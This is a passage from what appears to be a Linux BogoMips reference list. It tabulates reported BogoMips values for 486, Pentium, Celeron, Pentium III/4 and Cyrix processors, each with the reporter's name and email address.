   486DRx2/40               15.99  Christopher Lau <lauc@fusion.cuc.ab.ca>
   486DX2/66 IBM no-FF      19     NN <coolefa@pmifeg.com>
   486SLC2/66 IBM 64c       18.95  Sujat Jamil <sujat@shasta.ee.umn.edu>
   486SLC2/66 IBM 128c      18.95  Sujat Jamil <sujat@shasta.ee.umn.edu>
   486SLC2/66               19.02  Harry Mangalam <mangalam@uci.edu>
   486SLC/50                19.28  Sion Arrowsmith <sion@bast.demon.co.uk>
   486BL3/75 IBM 256c       21.40  Anders Stenback <stenback@kuai.se>
   486BL3/75 IBM 256c       21.50  Ming S. Chan <ming.chan@canrem.com>
   486DX2/66 Cyrix          26.62  Demian Marshall <dandfi@nospam.shaw.ca>
   486DX2/66 Cyrix 128c     26.63  Derek Kwan <dkwan@zeus.UWaterloo.ca>
   486DX2/66 Cyrix          26.63  Adrian Parker <adrian@willen.demon.co.uk>
   486DX2-S/66 256c         26.63  Jean-Marc Wislez <JeanMarc.Wislez@rug.ac.be>
   486DX2/66 Cyrix          26.63  Curran W. Fey <fey@biotech.washington.edu>
   486BL3/100 IBM 256c      28.36  Anders Stenback <stenback@kuai.se>

   486SX-S/33 UMC 0c        20.20  Hynek Med <xmedh02@manes.vse.cz>
   486SX-S/40 UMC 0c        26.52  Hynek Med <xmedh02@manes.vse.cz>
   486SX-U5/40 UMC 0c       26.63  Dusan Mihajlovic <zdule@herkules.co.yu>

3.6 Pentium systems

   System                BogoMips  Reporter
   Pentium/60               23     Chien-An Chen <giant@nwu.edu>
   Pentium/60               23.96  Joost Helberg <jhelberg@nlsun8.oracle.nl>
   Pentium/60               23.96  Ulf Tietz <ulf@rio70.bln.sni.de>
   Pentium/60 Gateway       23.96  Manoj Kasichainula <mvkasich@eos.ncsu.edu>
   Pentium/60               23.96  Pierre Frenkiel <frenkiel@cdfap1.in2p3.fr>
   Pentium/60               23.96  Tim Oosterbroek <tim@astro.uva.nl>
   Pentium/60 NCR 3455      24     Mathias Koerber <mathias@solomon.technet.sg>
   Pentium/60               24     Joe Sloan <jjs@engr.ucr.edu>
   Pentium/60               24.0   Mark H. Wood <mwood@indyvax.iupui.edu>
   Pentium/60               24.13  R.M. van Rijswijk <rijswijk@cs.utwente.nl>
   Pentium/66               25     Chuck Munro <chuckm@canada.hp.com>
   Pentium/66               26.63  Jason M. Naughton <jnaughto@ee.ryerson.ca>
   Pentium/66               26.84  Kelly Carmichael <kcarmich@cln.etc.bc.ca>
   Pentium/75 256c          29.5   Chris Dodd <cdodd@super.win.or.jp>
   Pentium/75               29.79  Scott M. Grim <sgrim@netwalk.com>
   Pentium/75               29.80  Torbjoern Kristoffersen <torbkris@online.no>
   Pentium/75               29.95  Steve Martin <smartin@mrg.uswest.com>
   Pentium/75               30.22  Zoran Marjanski <bagzor@enterprise.ca>
   Pentium/75               30.22  Andrew Buckby <c4ab1@dmu.ac.uk>
   Pentium/75               30.22  Stuart Nuttall <u9230106@sys.uea.ac.uk>
   Pentium/90 notebook      32.73  Rich Neves <neves@cs.colorado.edu>
   Pentium/83 overdrive     33.55  JCS <jean-claude.schwartz@contiteves.com>
   Pentium/90               34.07  A. Galbraith <ajgalb@postman.essex.ac.uk>
   Pentium/90 zappa 256c    35.6   Sebastien Dedieu <dedieu@emi.u-bordeaux.fr>
   Pentium/90               35.84  Jason Nunn <jsno@stormfront.com.au>
   Pentium/90               35.88  Joe Anderson <CPJJA@ttacs3.ttu.edu>
   Pentium/90               35.88  Warwick Allison <warwick@cs.uq.oz.au>
   Pentium/90               35.94  Erik Walthinsen <omega@teleport.com>
   Pentium/90               36     Joe Sloan <jjs@engr.ucr.edu>
   Pentium/90               36     Larry Auton <lda@nfa.research.att.com>
   Pentium/90               36     Richard Knipe <knipe@lobby.ti.com>
   Pentium/90               36.0   Werner Almesberger <almesber@lrc.epfl.ch>
   Pentium/90               36.06  Rob J. Nauta <rob@iaehv.nl>
   Pentium/90               36.08  Leung Hon Wa <cshwleun@cs.citu.edu.hk>
   Pentium/90 Zeos          36.08  Chris Laurel <claurel@mr.net>
   Pentium/90               36.08  Ronald Prague <ronp@fishnet.net>
   Pentium/90               36.08  Adrian Blues <adrian@hypereality.co.uk>
   Pentium/90               36.08  Pak Yin Tam "Fred" <ptam@eesun1.tamu.edu>
   Pentium/90               36.08  Jason Heiss <jheiss@cco.caltech.edu>
   Pentium/90               36.08  Tim Krantz <tek@dsinc.com>
   Pentium/90 Gateway       36.08  Pete Stewart <stewart@bae.bellcore.com>
   Pentium/90               36.08  Tom Manos <tmanos@infi.net>
   Pentium/90               36.08  Richard Mundell <R.Mundell@uea.ac.uk>
   Pentium/90               36.08  NN <usenet@uxmail.ust.hk>
   Pentium/90               36.08  Yavuz Batmaz <yavuzb@knidos.cc.metu.edu.tr>
   Pentium/90               36.08  Alan Skelley <askelley@gpu.srv.ualberta.ca>
   Pentium/90               36.08  Ralph Sims <ralphs@locus.halcyon.com>
   Pentium/90               36.08  Julian Bradbury <julian@xabcs.demon.co.uk>
   Pentium/90               36.08  Dan Langrill <langrlld@mussel.cig.mot.com>
   Pentium/90               36.08  Ravi Krishna Swamy <rkswamy@eos.ncsu.edu>
   Pentium/90               36.08  J.L. Brothers <brothers@halcyon.com>
   Pentium/90 Micronics     36.09  Andrew Brown <andrewbrown@acm.org>
   Pentium/90               36.27  Giao H. Phan <giao@concrete.resnet.upenn.edu>
   Pentium/90 Plato         36.4   Joe Valenzuela <smarm@ibm.net>
   Pentium/90               36.5   Mike Kelleher <mikejk@umfacad.maine.edu>
   Pentium/90               36.9   Ted Gaunt <tgaunt@pms701.pms.ford.com>
   Pentium/100 overcl       38.39  Stefan Onderka <stefan.onderka@metronet.de>
   Pentium/100              39.52  Adrian Blues <adrian@hypereality.co.uk>
   Pentium/100 overcl       39.73  Phil Howard <phil@clr.com>
   Pentium/100              39.73  <Peter.Weiss@informatik.uni-oldenburg.de>
   Pentium/100 0c           39.73  Jason Crawford <jasonc1@gramercy.ios.com>
   Pentium/100 overcl       39.83  Stefan Onderka <stefan.onderka@metronet.de>
   Pentium/100              39.93  Tom Miller <tvtom@en.com>
   Pentium/100 Cyrix        39.94  Mike Holland <myk@cygnus.uwa.edu.au>
   Pentium/100              39.94  KAZ Vorpal <kaz@upx.net>
   Pentium/100 overcl       39.94  Donar G.E. Alofs <donar@cs.vu.nl>
   Pentium/100              39.94  Larry Snyder <larry@trauma.iag.net>
   Pentium/100              39.94  Ian Hill <ian@hecate.phy.queensu.ca>
   Pentium/100              39.94  John Crawford <link@spu.edu>
   Pentium/100              39.94  Alexandre de Menezes <menezes@peta.com.br>
   Pentium/100              39.94  Jered <jered@mit.edu>
   Pentium/100 overcl       39.94  Ian <irs2@tweedledum.amp.york.ac.uk>
   Pentium/100              39.94  Brian McGhee <brianm@iceonline.com>
   Pentium/100              39.94  M Skjelland <morten.skjelland@pvv.unit.no>
   Pentium/100              39.96  Dan Kha <dkha@yorku.ca>
   Pentium/100              39.98  Phillipe Charon <charron@ecoledoc.ibp.fr>
   Pentium/100              40.03  <bon@elektron.ikp.physik.th-darmstadt.de>
   Pentium/100              40.08  Ronny Spiegel <rspiegel@htwm.de>
   Pentium/100              40.18  David Baldwin <davidb@exis.net>
   Pentium/100              40.18  <habibie@catevr.fiu.edu>
   Pentium/120 Cyrix        47.8   Simon Ho <simon@epsilon.win-uk.net>
   Pentium/120              47.82  Jorge Juan-Chico <jjchico@imse.cnm.es>
   Pentium/120 Cyrix        47.92  Joel N. Squire <squire@colorado.edu>
   Pentium/120              47.93  Umberto d'Ortona <umberto@grenet.fr>
   Pentium/120 Cyrix        47.93  Jim T. Polk <jtpolk@cris.com>
   Pentium/120              47.93  Jon Trowbridge <trow@mcs.com>
   Pentium/120              47.98  Craig Bates <cbates@psu.edu>
   Pentium/120              47.92   Aaron Brick <abrick@dcc.uchile.cl>
   Pentium/120 Cyrix        48     Steve <horne@mhd2.pfc.mit.edu>
   Pentium/120              48.00  Michael Wazenski <mwazenski@dsrnet.com>
   Pentium/120 Intel        48.02  Scott M. Grim <sgrim@netwalk.com>
   Pentium/120 Cyrix        48.27  Glenn T. Jayaputera <gjt@budgie.apana.org.au>
   Pentium/120              48.27  Roman Mitnitski <mitnits@shany.net>
   Pentium/120              48.27  Peter Walsh <pwalsh@rain.org>
   Pentium/120 Cyrix        48.2   Viznyuk <sviznyuk@magnus.acs.ohio-state.edu>
   Pentium/120              49.27  Simon Hargrave <simon@revell.demon.co.uk>
   Pentium/133              53.04  Wayne Roberts <wroberts@aug.com>
   Pentium/133              53.04  A.J. Wilson <wilston.austin.aj@bhp.com.au>
   Pentium/133              53.04  Gregory Travis <greg@indiana.edu>
   Pentium/133 overcl       53.04  A. Kunigelis <algikun@santaka.sc-uni.ktu.lt>
   Pentium/133 Intel        53.04  Jimmie Farmer <calvin@malchick.com>
   Pentium/133              53.25  Chuck Mattern <cmattern@mindspring.com>
   Pentium/133              53.26  Glenn Holt <gholt@lsil.com>
   Pentium/133              53.26  Heikki Levanto <heikki@lsd.ping.dk>
   Pentium/133              53.26  Chaim Tarshish <chaim@ipl.med.nyu.edu>
   Pentium/133              53.26  Mitchell B. Hamm <hamm@one.net>
   Pentium/133              53.26  Donald Lewis <dlewis@jackson.freenet.org>
   Pentium/133              53.26  Jon Trowbridge <trow@kremlin.emccta.com>
   Pentium/133              53.26  Charny Peete Mitchell <cpmiche@eos.ncsu.edu>
   Pentium/133 256c         53.26  David Wuertele <dave@gctech.com>
   Pentium/133 256c         53.68  Guiseppe Miceli <ferdy@ccii.unipi.it>
   Pentium/133              53.68  Michael Kress <kress@hal.saar.de>
   Pentium/150 Intel        59.80  Joel D. Young <jdyoung@afit.af.mil>
   Pentium/150              60.01  Joost de Greef <joost@stack.nl>
   Pentium/150 overcl       60.21  Duarte Cordeiro <l38404@alfa.ist.utl.pt>
   Pentium/166              66.16  Pedro Soria-Rodriguez <sorrodp@wpi.edu>
   Pentium/166              66.35  K. Visweswaran <kviswesw@lehman.com>
   Pentium/166              66.36  T. Endo <enchan@trc.rwcp.or.jp>
   Pentium/166              66.44  Donald Lewis <dlewis@jackson.freenet.org>
   Pentium/166              66.76  F. Baitinger <baiti@herrenberg.netsurf.de>
   Pentium/166              67.10  Jon Trowbridge <trow@mcs.com>
   Pentium/166              67.10  Dylan <dylan@ert.com>
   Pentium/166 512c         67.10  Dirk Freese <freese@infra.de>
   Pentium/188 overcl       74.96  Reijo Pitkanen <reijop@bzln.com>
   Pentium/200              79.66  Piete Brooks <Piete.Brooks@cl.cam.ac.uk>
   Pentium/200              79.69  Timm Gleason <timm@bess.net>
   Pentium/200              79.89  Dave S. Baker <dave@acedia.demon.co.uk>
   Pentium/200              78.87  Nick D'Apice <ndapice@erols.com>
   Pentium/200              80.08  Anders Stenback <stenback@hehe.com>
   Pentium/200              80.08  Steve Freeland <sfreel@cs.mcgill.ca>
   Pentium/200              81.92  Steve Baur <steve@xemacs.org>
*  Pentium/60              119.60  Luis Miguel Bruga <lmburga@ieee.org>
*  Pentium/90              179.81  Gavin McDonald <gavitron@telus.net>
*  Pentium/100 HP          197.00  Kevin Rutan <mt2mb@neo.rr.com>
*  Pentium/100             198.66  Patrick Nichols <pat@humbug.org.au>
*  Pentium/133             265.42  Max Vasin <max@mail.ru>
*  Pentium/133             266.24  Vadim <root@teleline.es>
*  Pentium/166             331.78  Sabu <sabu@chatpr.org>
*  Pentium/166             332.60  Electra Flarefire <bcrowe@optushome.com.au>

3.7 Oddly or faultily configured Pentium systems

   System                BogoMips  Reporter
   Pentium/66                2.18  Bob Myers <root@shyguy.lonestar.org>
   Pentium/90 notebook       9.5   Mark Maybee <markm@cs.colorado.edu>
   6x86/120 Cyrix           52.32  Joel Boring <dwild@eskimo.com>
   Pentium/83 Overdrive     82.85  Brian Smith <smithb@laraby.tiac.net>
   Pentium/83 Overdrive     83.32  Scott Francis <mord@netcom.com>
   Pentium/83 Overdrive     82.94  G. Spiegelberg <greg@owens.ridgecrest.ca.us>
   Pentium/83 Overdrive     83.35  Jacek Polewczak <jacek.polewczak@csun.edu>
   6x86/120 P120+overcl    104.86  Howard Poe <falcor@kingsnet.com>
   Pentium MMX/266         130.66  <yorkchan@hotmail.com>
   Pentium MMX/263 overcl  392.40  John Appleby <jma24@cam.ac.uk>
   AMD K6-2/300            399.95  Chris Ebenezer <chriseb@nortelworks.com>
   Pentium MMX/231         419.43  Juan Domenech <domenech@mail.seric.es>
   Pentium MMX/263 overcl  435.87  Juan Domenech <domenech@mail.seric.es>
   SMP4 Pentium Pro/200    700.13  R. Carrico <robert_carrico@themoneystore.com>

3.8 Pentium variations: Intel (MMX, Pro, II, Celeron, III, 4)

   System                BogoMips  Reporter
   Pentium MMX/133         265.77  Ron Peters <rpeters@f15fast.al.intel.com>
   Pentium MMX/150         307.53  Sami Sihvonen <buggy@fix.no>
   Pentium MMX/166 notebk  329.31  Massimo Pinto <pinto@graylab.ac.uk>
   Pentium MMX/166 notebk  331.75  NN <visionary@aura.title14.com>
   Pentium MMX/166         331.78  Rob Janssen <pe1chl@amsat.org>
   Pentium MMX/166         331.78  Dave Page <dave@vale-housing.co.uk>
   Pentium MMX/166         331.78  Matthew C. Sell <amtmcs@amsta.leeds.ac.uk>
   Pentium MMX/166         333.41  Sjoelie <patrick@sjoel.xs4all.nl>
   Pentium MMX/166         333.41  Viet Yen Nguyen <vt@multiweb.nl>
   Pentium MMX/166         333.41  Marcin Owsiany <porridge@lo4.ids.bielsko.pl>
   Pentium MMX/180         358.81  David Efflandt <efflandt@xnet.com>
   Pentium MMX/200         398.13  Andy Saunders <andi@numenor.oucs.ox.ac.uk>
   Pentium MMX/200         398.13  A. James Lewis <james@vrtx.net>
   Pentium MMX/200         398.13  Sean Horan <sean@psy.ed.asu.edu>
   Pentium MMX/200         398.19  Fabio Comolli <comolli@tin.it>
   Pentium MMX/200         398.95  Reinhold J. Gerharz <rgerharx@erols.com>
   Pentium MMX/200         398.95  Eric Beymer <beymer@soundex.com>
   Pentium MMX/200         398.95  Duane Steel <dsteele@direct.ca>
   Pentium MMX/200         398.95  <ndpilatz@undergrad.math.uwaterloo.ca>
   Pentium MMX/200 mobile  398.95  Nam <nam@netvigator.com>
   Pentium MMX/200         399.77  Wei-shi Tsai <perdita@dallas.crosswinds.net>
   Pentium MMX/200         399.77  Erik Terpstra <erik@solidcode.net>
   Pentium MMX/200         400     Rob Jokinen <rjokinen@rt66.com>
   Pentium MMX/200         400.59  Paul Black <paul@darwin.demon.co.uk>
   Pentium MMX/200         400.59  Juho Cederstrom <cederstrom@kolumbus.fi>
   Pentium MMX/200         400.59  Bart <bart@aceonline.com.au>
   Pentium MMX/210 overcl  416.97  John Saunders <john@nlc.net.au>
   Pentium MMX/225 overcl  448.92  Ingo Reimann <reimann@uni-muenster.de>
   Pentium MMX/225 overcl  448.92  Mattias Hembruch <mghembru@ece.uwaterloo.ca>
   Pentium MMX/225 overcl  448.92  Larry Lade <lade@btigate.com>
   Pentium MMX/230 overcl  461.85  Rene Stanneveld <edge@huizen.nhkanaal.nl>
   Pentium MMX/233         463.67  Rui M.B. Machado <rui@nifdl7.fd.ul.pt>
   Pentium MMX/233         463.67  Rob Janssen <pe1chl@amsat.org>
   Pentium MMX/233         463.67  Jose Maria Perez Box <jmpbox@etsin.upm.es>
   Pentium MMX/233         465.31  Per Andersson <ppan@cntw.com>
   Pentium MMX/233         466.94  Eric George <ergeorge@worldnet.att.net>
   Pentium MMX/233         466.94  Van Overbruggen <marcel@johannes.iconnect.nl>
   Pentium MMX/233         466.94  Keith Beacham <kbeacham1@sympatico.ca>
   Pentium MMX/233         466.94  Erwin Lubbers <erwin@box.nl>
   Pentium MMX/250 overcl  498.07  Maarten van Rossum <m@vr.xs4all.nl>
   Pentium MMX/266 overcl  525.93  Frank <r2@xs4all.nl>
   Pentium MMX/266         532.48  Wade Mealing <root@damage>
   Pentium MMX/290 overcl  581.63  Brian <eradicator@home.com>

   Pentium Pro/133         132.88  John D. Sundberg <jdsundberg@mmm.com>
   Pentium Pro/150         149.50  Rogier Wolff <wolff@bitwizard.nl>
   Pentium Pro/180         179.61  Chuck Fee <fee@ch4549.org>
   Pentium Pro/200         197.42  Michael Griffith <grif@cs.ucr.edu>
   Pentium Pro/200         197.42  Curtis Varner <carner@cs.ucr.edu>
   Pentium Pro/200         198.84  Erik Max Francis <max@alcyone.com>
   Pentium Pro/200         198.84  Marc Winkler <marcus@healthchex.com>
   Pentium Pro/200         199.04  V. Bostrom <Vareck_Bostrom@ccm.jf.intel.com>
   Pentium Pro/200         199.06  Justin Clancy <justin@hippos.demon.co.uk>
   Pentium Pro/200         199.06  Glenn Lamb <mumford@netcom15.netcom.com>
   Pentium Pro/200         199.06  Laszlo Herczeg <las@light-house.com>
   Pentium Pro/200         199.07  Stefan <boresch@schuber.u-strasbg.fr>
   Pentium Pro/200         199.07  Greg Fausak <lgfausak@august.com>
   Pentium Pro/200         199.07  Chris Jones <chris@planetsymphone.com>
   Pentium Pro/200         199.07  Matthew S. Crocker <matthew@crocker.com>
   Pentium Pro/200         199.07  Roberto <rc@cr.com>
   Pentium Pro/200         199.95  Reinhold J. Gerharz <rgerharx@erols.com>
   Pentium Pro/200         200.32  Gil Megidish <gmegidis@ort.org.il>
   Pentium Pro/200         200.32  Jose Navarro <jnavarro@aoc.nrao.edu>
   Pentium Pro/200         200.32  <Eric_Zucker@om.hp.com>
   Pentium Pro/200         200.32  Wayne Scott <wscott@ichips.intel.com>
   Pentium Pro/200         200.32  Adrian L. Hosey <ahosey@cs.indiana.edu>
   Pentium Pro/233 overcl  234.43  S. Curtarolo <auro@spiro.fisica.unipd.it>
   Pentium Pro/400         397.31  Lamarque Vieira Souza <lamarque@dcc.ufmg.br>
*  Pentium Pro/200         399.76  Horst Wente <horst.wente@acm.org>

   Pentium II/233          232.65  Jan Houtsma <jan@houtsma.net>
   Pentium II/233          233.47  Torbjoern Kristoffersen <torbkris@online.no>
   Pentium II/233          233.47  Sorin Mitran <mitran@irs.fzk.de>
   Pentium II/266          265.42  Jon Trowbridge <trow@kremlin.emccta.com>
   Pentium II/266          265.42  A. Hochwimmer <a.hochwimmer@auckland.ac.nz>
   Pentium II/266          265.42  Matt Garman <garman@ews.uiuc.edu>
   Pentium II/266          265.42  Robert Woodwort <woodwort@utmc.utc.com>
   Pentium II/266          265.44  Nick Ullman <nick@avenza.com>
   Pentium II/266          266.24  Pieter Eendebak <p.t.eendebak@phys.uu.nl>
   Pentium II/266          266.24  John Calison <jcalison@mindspring.com>
   Pentium II/266          267.06  James McKinnon <jmack@phys.ualberta.ca>
   Pentium II/266          267.06  Greg <gl2hughes@undergrad.math.uwaterloo.ca>
   Pentium II/266          267.06  Pros Robaer <pros@innet.be>
   Pentium II/266          272.79  Frank Hale <frankhale@worldnet.att.net>
   Pentium II/300 overcl   299.01  Martin Lathoud <nytral@endirect.qc.ca>
   Pentium II/300          299.83  Andy Busch <buschap@acs.wooster.edu>
   Pentium II/333          332.60  Eric Games <frequenc@laf.cioe.com>
   Pentium II/350          347.34  NN <silkythreads@home.com>
   Pentium II/350          349.80  Rizzoli <rizzoli@planet.it>
   Pentium II/350          349.80  Jeff Bishop <jbish@airmail.net>
   Pentium II/400          396.49  Abhijit Menon-Sen <ams@wiw.org>
   Pentium II/400          396.49  Sven Skrivervik <sven.skrivervik@eunet.no>
   Pentium II/400          398.13  Floris Martens <fmartens@bigfoot.com>
   Pentium II/420 overcl   416.15  Rafal <rafamiga@uucp.polbox.pl>
   Pentium II/448 overcl   447.28  Mathieu Bois <mathieu.bois@nomura.co.uk>
   Pentium II/450          447.28  Mathieu Bois <mathieu.bois@nomura.co.uk>
   Pentium II/450          447.28  Stuart Nuttall <stu@etcs.demon.co.uk>
   Pentium II/450          447.28  Richard R. Urena <urena@wilde.oit.umass.edu>
   Pentium II/450          447.28  Brantley Jones <bjones@cte.net>
   Pentium II/450          447.28  Esmail Bonakdarian <esmail@uiowa.edu>
   Pentium II/466          462.03  Bjorn Lindgren <bjorn@chiba.cx>
   Pentium II/504 overcl   502.99  David Hand <dhand@best.com>
   Pentium II/515          514.46  NN <luckydaze@netzero.net>
*  Pentium II/272          542.31  Ton <ton@somedomain.com>
*  Pentium II/307          614.40  Nicolas Boiteux <athome1@caramail.com>
*  Pentium II/333          663.55  John Ferriby <john@interbroad.com>
*  Pentium II/350          699.60  Teun Warnaar <tat@dds.nl>
*  Pentium II/350          699.50  Jan <jan-bruchsal@gmx.net>
*  Pentium II/360          719.25  <tgreaves@my-deja.com>
*  Pentium II/400          792.99  Abhijit Menon-Sen <ams@wiw.org>
*  Pentium II/400          794.62  Mark Dickie <mark@dickie29.freeserve.co.uk>
*  Pentium II/400          794.62  Abhijit Menon-Sen <ams@wiw.org>
*  Pentium II/400 mobile   797.90  Marvin Pierce <mpierce@bigpond.net.au>

   Celeron/300             299.83  Abhijit Menon-Sen <ams@wiw.org>
   Celeron/300             299.97  Helmut <helmut@cancon.com>
   Celeron/300             307.20  Richard M. Sugg <richardsugg@earthlink.net>
   Celeron/333             332.6   Florian <florian@egon-bbs.n-a-m.de>
   Celeron/333             330.96  Douglas E Harmon <genius91@gate.net>
   Celeron/366             367.00  Raul Belisario <storm@gold.com.br>
   Celeron/400             398.13  Polaris <polaris_c@my-deja.com>
   Celeron/466 overcl      462.03  Tim Moore <timothymoore@bigfoot.com>
   Celeron/500             498.07  Falk Herwig <fherwig@uvic.ca>
   Celeron/500             499.71  Bruce H <xxx@att.net>
*  Celeron/300             598.01  R.J. Bergeron <rjber1@geocities.com>
*  Celeron/433             865.07  Rob Farrel <rpf@comcast.net>
*  Celeron/433             868.35  Abhik Sarkar <asarkar@optoconnect.net.in>
*  Celeron/450             897.84  Mike <rapacity@ii.net>
*  Celeron/466             927.33  John Pester <johnp@sonicwall.com>
*  Celeron/500             999.42  Pekka Tiitanen <peti@kauha.kauhajoki.fi>
*  Celeron/533            1064.96  F. Alfaro <al528580@mail.mty.itesm.mx>
*  Celeron/566            1127.22  Bacsi Roland <broland@freemail.hu>
*  Celeron/600            1192.75  Shaun Ewing <shaun@shaunewing.com>
*  Celeron/800            1599     Yves Bellefeuille <yan@storm.ca>
*  Celeron/900            1795.68  Hannes Schmiderer <hannes@schmiderer.cc>
*  Celeron/1035           2064.38  Marlboro <marlboro_chen@163.net>

   Pentium III/450         447.28  Windsurfer <acorupe@earthlink.net>
   Pentium III/450         450.56  Rogier Spieker <rogier@metallica.com>
   Pentium III/500         496.44  Cesar Bravo <cesar.bravo@compaq.com>
   Pentium III/400         497.85  Eric McCoy <emccoy@hamilton.edu>
   Pentium III/500         498.00  Rajko Wehrhahn <seymour@link-c.cl.sub.de>
   Pentium III/500         499.71  Morris Walton <mccw@ipass.net>
   Pentium III/550         547.23  Art <aeolian@yahoo.com>
   Pentium III/550         548.86  Chris <chiuhing@hotmail.com>
   Pentium III/550         548.86  Evan L. Carew <ecarew@emagtechnologies.com>
   Pentium III/600         598.02  Elaine Wenderholm <wender@cs.oswego.edu>
   Pentium III/600         599.65  Donna Williams <silkythreads@home.com>
   Pentium III/600         599.65  Steve Cousins <cousins@umit.maine.ude>
   Pentium III/733         733.73  Ryan Snodgrass <ryan_snodgrass@my-deja.com>
   Pentium III/733         734.00  Steve Cousins <cousins@umit.maine.ude>
   Pentium III/750         747.11  Yong <yonliu@my-deja.com>
*  Pentium III/450         891.28  Bob Bucy <rbucy@swbell.net>
*  Pentium III/450         894.56  Achim Breunig <achim.breunig@khe.siemens.de>
*  Pentium III/450         897.84  Paul Drees <pad53945@sci.tamucc.edu>
*  Pentium III/450         901.12  Darrick Wong <DarrickWong@mindspring.com>
*  Pentium III/450         901.12  Abhijit Menon-Sen <ams@wiw.org>
   Pentium III/933         930.61  Cipriano Groenendal <cipri@ezlinux.nl>
   Pentium III/500         992.87  Q. Uijldert <quiten.uijldert@vicorp.com>
*  Pentium III/500         999.42  Shawn D. MacIntyre <sdm1560@hotmail.com>
*  Pentium III/500         999.75  Darrick Wong <DarrickWong@mindspring.com>
   Pentium III/900        1028.92  Charles Reese <creese@engr.ucsb.edu>
*  Pentium III/533        1061.68  Ian Pilcher <pilcher@concentric.net>
*  Pentium III/550        1064.96  Limin Yu <dragontec@justsystem.co.jp>
*  Pentium III/550        1094.45  Benedicto Junior <benjr@elo.com.br>
*  Pentium III/550        1101.00  Chris Budde <chrisb@internation.co.uk>
*  Pentium III/550        1101.50  Julius Wijaya <jwijaya@gmx.co.uk>
*  Pentium III/560        1117.39  Jurriaan <thunder@xs2all.nl>
*  Pentium III/600        1192.75  F. Corona <fcorona@marte.dicm.unica.it>
*  Pentium III/600        1192.76  Taco IJsselmuiden <taco@wep.tudelft.nl>
*  Pentium III/600        1192.76  Alex Jenner <alexj@ihug.co.nz>
*  Pentium III/600        1199.31  J Uusi-Maahi <jarmo.uusi-maahi@kanetti.com>
*  Pentium III/645        1287.78  Dimitri <d_barsoukov@hotmail.com>
*  Pentium III/666        1330.38  Bacsi Roland <broland@freemail.hu>
*  Pentium III/700        1389.36  Abhijit Menon-Sen <ams@wiw.org>
*  Pentium III/700        1399.19  Vipul Mathur <vipul@linux-delhi.org>
*  Pentium III/700        1399.19  Chris Raters <craters@toasty.com>
*  Pentium III/700        1405.74  Sam Worf <samworf@newsguy.com>
*  Pentium III/700        1441.79  <a.giachino@ekkinc.com>
*  Pentium III/730        1461.45  Timm Murray <admin@madtimes.com>
*  Pentium III/800 Vaio   1543.37  Scott Maines <smaines@alaya.com>
*  Pentium III/800        1585.97  Darrick Wong <djwong@thibs.menloschool.org>
*  Pentium III/800        1592.52  Slawomir Axzkowski <slawek@talex.com.pl>
*  Pentium III/800        1592.52  Simon Horn <dinoming@hotmail.com>
*  Pentium III/800        1592.52  Marcio Pessoa <marcio_pessoa@ig.com.br>
*  Pentium III/800        1602.36  Lew Pitcher <lpitcher@yesic.com>
*  Pentium III/866        1723.60  Rob Farrell <rpf@speakeasy.net>
*  Pentium III/866        1723.60  Elgar Pichler <epichler@yahoo.com>
*  Pentium III/866        1730.15  John Bland <shrike@homer.cmp.liv.ac.uk>
*  Pentium III/933        1816.22  Cipriano Groenendal <cipri@ezlinux.nl>
*  Pentium III/1000       1985.74  John Davis <root@anc.net>
*  Pentium III/1000       1992.29  Michael Lush <mlush@hgmp.mrc.ac.uk>
*  Pentium III/1000 mob   1992.29  Ali Soylu <alisoylu@jhu.edu>

   Pentium 4/1300         2588.67  Nick Johnson <npj7y@virginia.edu>
   Pentium 4/1400         2785.28  Hans Loos <hans_loos@hp.com>
   Pentium 4/1500         2962.23  Gary Bridgewater <gbdsb@pacbell.net>
   Pentium 4/1500         2981.88  William C. Glaub <virage@vast.net>
   Pentium 4/1700         3381.65  Janossy Laszlo <djagga@kabelkon.ro>
   Pentium 4/1700         3407.87  J. Esquivel <jeroot@angloamericano.ed.cr>

3.9 Pentium variations: Cyrix, AMD (K5/K6/K7, Duron, Athlon), Centaur

   System                BogoMips  Reporter
   Cyrix 5x86/100          100.16  NN <root@anxa04.cc.ic.ac.uk>
   Cyrix 5x86/100          100.19  Valient Gough <vgough@teton.mines.edu>
   Cyrix 5x86/100          100.47  C.Chan <chan@alfrothul.uchicago.edu>
   Cyrix 5x86/120 P150+    119.60  Wynstan Tong <wynstan@eecg.toronto.ca>
   Cyrix 5x86/120 P150+    119.60  Joel N. Squire <squire@colorado.edu>
   Cyrix 5x86/120 P150+    119.83  Leland Olds <olds@eskimo.com>
   Cyrix 5x86/120 P150+    119.83  NN <root@anxa04.cc.ic.ac.uk>
   Cyrix 5x86/120 P150+    120.68  C.Chan <chan@alfrothul.uchicago.edu>
   Cyrix 5x86/120 P150+    122.01  Andre Coetzee <acoetzee@ctcc.gov.za>

   Cyrix 6x86/100           99.42  Stig M. Valstad <svalstad@sn.no>
   Cyrix 6x86/110 P133+    109.77  Matthew Flint <matthew@philtrum.demon.co.uk>
   Cyrix 6x86/110 P133+    109.77  John Merriam <suprnaut@esslink.com>
   Cyrix 6x86/110 P133+    109.77  Keith Smith <keith@ksmith.com>
   Cyrix 6x86/110 P133+    111.82  Lew Pitcher <lpitcher@yesic.com>
   Cyrix 6x86/120 P150+    119     Jean-Claude Gouiran <jcg13@ibm.net>
   Cyrix 6x86/120 P150+    119.60  Taso Lyristis <taso@remus.rutgers.edu>
   Cyrix 6x86/120 P150+    119.60  Hrvoje Stipetic <stipe@zemris.fer.hr>
   Cyrix 6x86/120          119.60  Yakko J. Warner <yakko@wtower.com>
   Cyrix 6x86/120 P150+    119.60  B. James Philippe <bryan@terran.org>
   Cyrix 6x86/120 P150+    119.83  Roger Merchberger <zmerch@northernway.net>
   Cyrix 6x86/120          119.83  Daniel Wold <danw@panix.com>
   Cyrix 6x86/120          120     John C. Beasley <beaslej1@nevada.edu>
   Cyrix 6x86/120 P150+    120.01  Jay Thorne <jay@result.com>
   Cyrix 6x86/120 P150+    120.01  Jeawan Kim <jaewan@harc.edu>
   Cyrix 6x86/120 P150+    120.91  Cymen <cymen@ziplink.net>
   Cyrix 6x86/133 undercl  132.30  Maurice Janssen <mauricej@xs4all.nl>
   Cyrix 6x86/133 P166+    132.71  Holger Kemper <hok@balu.ping.de>
   Cyrix 6x86/133 P166+    132.71  Hrvoje Stipetic <stipe@zemris.fer.hr>
   Cyrix 6x86/133 P166+    132.71  Michael Junek <mikey@webfocus.net.au>
   Cyrix 6x86/133 P166+    132.82  Alex Liffers <aliffers@tartarus.uwa.edu.au>
   Cyrix 6x86/133 P166+    132.82  Brian C. Theobald <theobald@nortel.ca>
   Cyrix 6x86/133 P166+    132.88  Alvaro Lopes <alvieboy@utad.pt>
